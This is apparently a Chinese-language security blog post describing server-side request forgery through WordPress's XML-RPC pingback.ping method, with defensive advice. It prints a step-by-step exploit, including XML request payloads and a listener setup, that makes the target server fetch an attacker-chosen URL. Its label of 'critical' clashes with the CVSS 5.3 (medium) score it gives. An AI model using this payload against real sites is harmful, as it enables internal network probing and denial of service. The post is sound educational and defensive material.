XML-RPC服务端请求伪造：我发现关键WordPress漏洞的经历

我的导师曾教导我各种WordPress相关漏洞知识。这些知识奠定了我的基础。但当我开始深入探索，不断追问"这个功能还能做什么？“时，我发现了它。

一个大多数WordPress管理员甚至不知道存在的关键服务端请求伪造（SSRF）漏洞。

这就是我的发现故事。

什么是XML-RPC？

XML-RPC是WordPress的一个功能特性，已经存在多年。它内置于WordPress核心，允许外部应用程序与您的WordPress站点通信，执行发布文章、管理评论、上传文件等操作。

问题在于：大多数站点不再使用它，但它默认处于启用状态。

而漏洞就藏在这里。

我的发现

该漏洞存在于一个特定的XML-RPC方法：pingback.ping。

这个方法本应这样工作：博客A链接到博客B，博客B收到通知。博客B向博客A发出请求以验证链接确实存在。

很简单，对吧？

但问题在于：服务器没有正确验证它向何处发出这些请求。

因此，攻击者可以诱使服务器向任何地方发出请求，而不是向合法的博客发出请求。

可以指向内部服务、内部数据库、内部管理面板、私有网络上的IP地址，任何地方。

服务器变成了代理，执行攻击者告诉它做的任何事情。

为什么这个漏洞很关键

让我详细说明攻击者能利用这个漏洞做什么：

拒绝服务攻击（DoS）：攻击者可以让服务器向目标发送大量流量 - 无论是内部服务还是外部网站。服务器本质上变成了武器，用流量淹没受害者。

内部网络发现：攻击者可以探测内部网络上存在哪些服务。“端口5432上是否运行着数据库？端口8080上是否有管理面板？本地运行着哪些服务？“攻击者可以在不直接攻击任何东西的情况下发现所有这些信息。

访问隐藏服务：服务器可以访问受防火墙保护、不应从互联网访问的内部服务。攻击者可以通过WordPress服务器作为中间人访问这些服务。

与其他漏洞结合：SSRF本身就很严重，但当与内部服务中的其他漏洞结合时，就会变得灾难性。可能导致完全服务器沦陷、完整网络入侵。

所有这些都不需要任何身份验证。任何人都可以做到。您不需要WordPress账户，不需要任何凭据，只需要访问那个/xmlrpc.php文件。

我是如何发现它的

我从导师那里学到了XML-RPC的基本攻击向量。这些知识给了我基础。但随后我开始思考：“如果有更多呢？如果这个端点能做更危险的事情呢？”

我开始测试、探索、问一些"愚蠢"的问题。

就在那时，我发现了SSRF漏洞。

导师的指导为我打开了大门，但真正的发现来自于好奇心和探索我所学之外知识的意愿。

逐步解析：攻击如何运作

利用这个漏洞非常简单：

步骤1：检查XML-RPC是否启用

访问WordPress站点并转到/xmlrpc.php 如果您看到：“XML-RPC服务器仅接受POST请求” - 说明它已启用。

步骤2：列出所有可用方法

发送带有以下XML的POST请求：

1
2
3
4


<methodCall>
  <methodName>system.listMethods</methodName>
  <params></params>
</methodCall>

响应显示服务器支持的所有方法。寻找pingback.ping。

步骤3：设置接收请求的服务器

在您的机器上启动一个简单的Web服务器：

1

python3 -m http.server 8000

这样您就可以看到目标服务器何时向您的服务器发出请求（证明SSRF有效）。

步骤4：发送恶意的pingback请求

发送带有以下XML负载的POST请求：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value><string>http://您的服务器:端口</string></value>
    </param>
    <param>
      <value><string>http://目标站点.com/任意文章/</string></value>
    </param>
  </params>
</methodCall>

替换：

您的服务器:端口为您的服务器URL
目标站点.com/任意文章/ 为WordPress站点的任何有效文章

步骤5：检查服务器日志

如果SSRF有效，您的服务器将收到来自目标服务器的请求。您会在日志中看到它。

这证明了漏洞存在。服务器向您的任意URL发出了请求。无需认证，没有保护。

现在想象一下，这个请求不是发往您的测试服务器，而是发往：

内部数据库
本地管理面板
不应被访问的服务
保存敏感凭据的元数据服务

这才是真正的危险。

技术细节

漏洞类型：通过XML-RPC的服务端请求伪造（SSRF） 易受攻击的方法：pingback.ping 需要身份验证：无 利用方式：向/xmlrpc.php端点发送特制的XML负载 根本原因：对传递给pingback.ping方法的URL输入验证不足。服务器不检查它向何处发出请求 - 它只是发出请求。 CVSS评分：5.3（中危） CWE：CWE-918：服务端请求伪造

应该采取的措施

最佳修复方案：禁用XML-RPC 大多数WordPress站点不再使用XML-RPC。只需禁用它。使用WordPress安全插件或要求您的主机提供商关闭它。

如果必须保留：禁用pingback.ping 如果由于某种原因您确实需要XML-RPC，至少禁用pingback方法。大多数安全插件都有此功能的一键选项。

在防火墙级别阻止 不要让任何人从互联网访问/xmlrpc.php。在防火墙级别阻止它，或使用安全插件限制访问。

使用现代API WordPress已经远离XML-RPC。如果您正在构建新的集成，请改用现代的REST API，它更安全。

控制出站请求 确保您的Web服务器只能向批准的服务发出请求。不要让它向随机的内部IP或未知服务器发出请求。

我的收获

这段经历教会了我重要的一课：最危险的漏洞通常隐藏在存在已久的功能中。

每个人都知道XML-RPC存在。它是WordPress的内置功能。但因为它"官方"且"老旧”，人们认为它是安全的。没有人测试它，没有人考虑它。

这种假设本身就是漏洞。

我的导师教给了我基础，但真正的学习来自于好奇心。来自于追问"如果…会怎样？“来自于探索我所学之外的知识。

如果您正在进入安全研究领域，这是您需要的心态：不要信任默认设置。测试所有东西。保持好奇。问"愚蠢"的问题。

互联网上充满了启用XML-RPC且完全未打补丁的WordPress站点。漏洞就在那里，您只需要寻找它们。

该漏洞已通过负责任的披露方式报告。本文旨在帮助其他研究人员和WordPress管理员理解正确保护XML-RPC端点的关键重要性。

WordPress XML-RPC SSRF漏洞：发现与利用全过程解析

本文详细介绍了在WordPress XML-RPC组件中发现的关键SSRF漏洞，包括漏洞原理、利用步骤和技术细节，并提供了完整的防护方案，帮助管理员有效防范此类安全风险。